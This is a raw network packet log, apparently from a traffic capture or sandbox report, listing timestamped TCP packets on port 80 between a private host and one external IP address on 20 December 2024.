Dec 20, 2024 17:13:47.295277119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.295332909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.295921087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.296044111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.296086073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.296669006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.343794107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.357408047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.357434988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.357546091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.357547045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.357558966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.357610941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.358305931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.358402014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.358441114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.358973980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.359055996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.359095097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.359551907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.359714985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.359759092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.360230923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.360328913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.360372066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.360958099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.361095905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.361134052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.361736059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.361798048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.361835957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.362585068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.362726927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.362766981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.363320112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.363471031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.363511086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.364093065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.364166975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.364211082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.364923954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.365072966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.365144014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.365654945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.365797043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.365850925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.366390944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.366493940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.366539001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.367175102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.367279053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.367321014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.367952108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.368030071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.368068933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.368731976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.368864059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.368901014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.369538069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.369628906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.369667053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.370306015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.370421886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.370461941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.371295929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.371419907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.371460915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.384352922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.384443998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.384634018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.384715080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.384814024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.384860039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.385493040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.385639906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.385687113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.386202097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.437486887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.466109037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.466162920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.466216087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.466419935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.466527939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.466568947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.467238903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.467344046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.467382908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.468089104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.468162060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.468199968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.468846083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.468939066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.468981981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.469667912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.469734907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.469773054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.470344067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.470508099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.470542908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.471122980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.471231937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.471271038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.471960068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.472071886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.472109079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.472729921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.472815990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.472856045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.473531008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.473604918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.473664045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.474309921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.474411011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.474446058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.475044966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.475157022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.475193977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.475862980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.476021051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.476059914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.476600885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.476711035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.476778984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.477375031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.477607012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.477655888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.478192091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.478286028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.478329897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.479027987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.479125977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.479170084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.479779959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.479958057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.480014086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.480581045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.480674028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.480715990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.481317997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.481395960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.481437922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.482198954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.482254982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.482294083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.482881069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.483000040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.483038902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.483648062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.483730078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.483769894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.484479904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.484534025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.484575987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.485229969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.485337973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.485378027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.485994101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.486169100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.486207962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.486778021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.486931086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.486974001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.487694025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.487801075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.487838030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.488360882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.488447905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.488481998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.549016953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.549065113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.549144030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.549207926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.549308062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.549344063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.549998999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.550087929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.550122023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.550741911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.550884962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.550921917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.551578999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.551700115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.551732063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.552356958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.552448034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.552493095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.553078890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.553204060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.553323030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.553958893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.554037094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.554075003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.554675102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.554785013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.554820061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.555437088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.555589914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.555629015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.556267977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.556538105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.556574106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.557085991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.557261944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.557296991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.557811975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.558072090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.558110952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.558641911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.558691978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.558723927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.559377909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.559644938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.559679031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.560193062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.560837030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.560870886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.560985088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.560997963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.561033010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.561727047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.561871052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.561906099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.562515974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.562668085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.562700033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.563335896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.563532114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.563572884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.576384068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.576435089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.576488972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.576739073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.576913118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.576956987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.577558994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.577667952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.577702045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.578288078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.625044107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.658473015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.658639908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.658689022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.658745050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.658759117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.658795118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.659465075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.659627914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.659666061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.660234928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.660365105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.660394907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.661037922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.661237001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.661276102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.661860943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.662029982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.662070036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.662601948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.662698030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.662730932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.663383007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.664031029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.664074898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.664170027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.664268970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.664305925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.664933920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.665050030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.665086031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.665816069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.665904045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.665940046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.666564941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.666672945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.666708946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.667346001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.667512894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.667550087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.668072939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.668143988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.668179035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.668888092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.668971062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.669013977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.669672012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.669842958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.669881105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.670403957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.670514107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.670550108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.671272039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.671447039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.671482086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.672118902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.672172070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.672208071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.672863960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.672964096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.672998905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.673544884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.673589945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.679620028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.799254894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:54.150141001 CET	49712	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:54.325123072 CET	80	49712	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:54.325674057 CET	49712	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:54.325674057 CET	49712	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:54.491004944 CET	80	49712	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:55.892564058 CET	80	49712	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:55.892602921 CET	80	49712	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:55.892688036 CET	49712	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:55.894018888 CET	49712	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:56.013812065 CET	80	49712	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.190474033 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.313175917 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.313270092 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.317778111 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.439682961 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.439696074 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.439872026 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.440136909 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440146923 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440185070 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440186024 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.440195084 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440228939 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.440236092 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440244913 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440275908 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.440285921 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.440346956 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440356970 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.440396070 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.559573889 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559637070 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559648037 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559657097 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559715033 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.559734106 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559746027 CET	49713	80	192.168.2.9	147.45.113.159
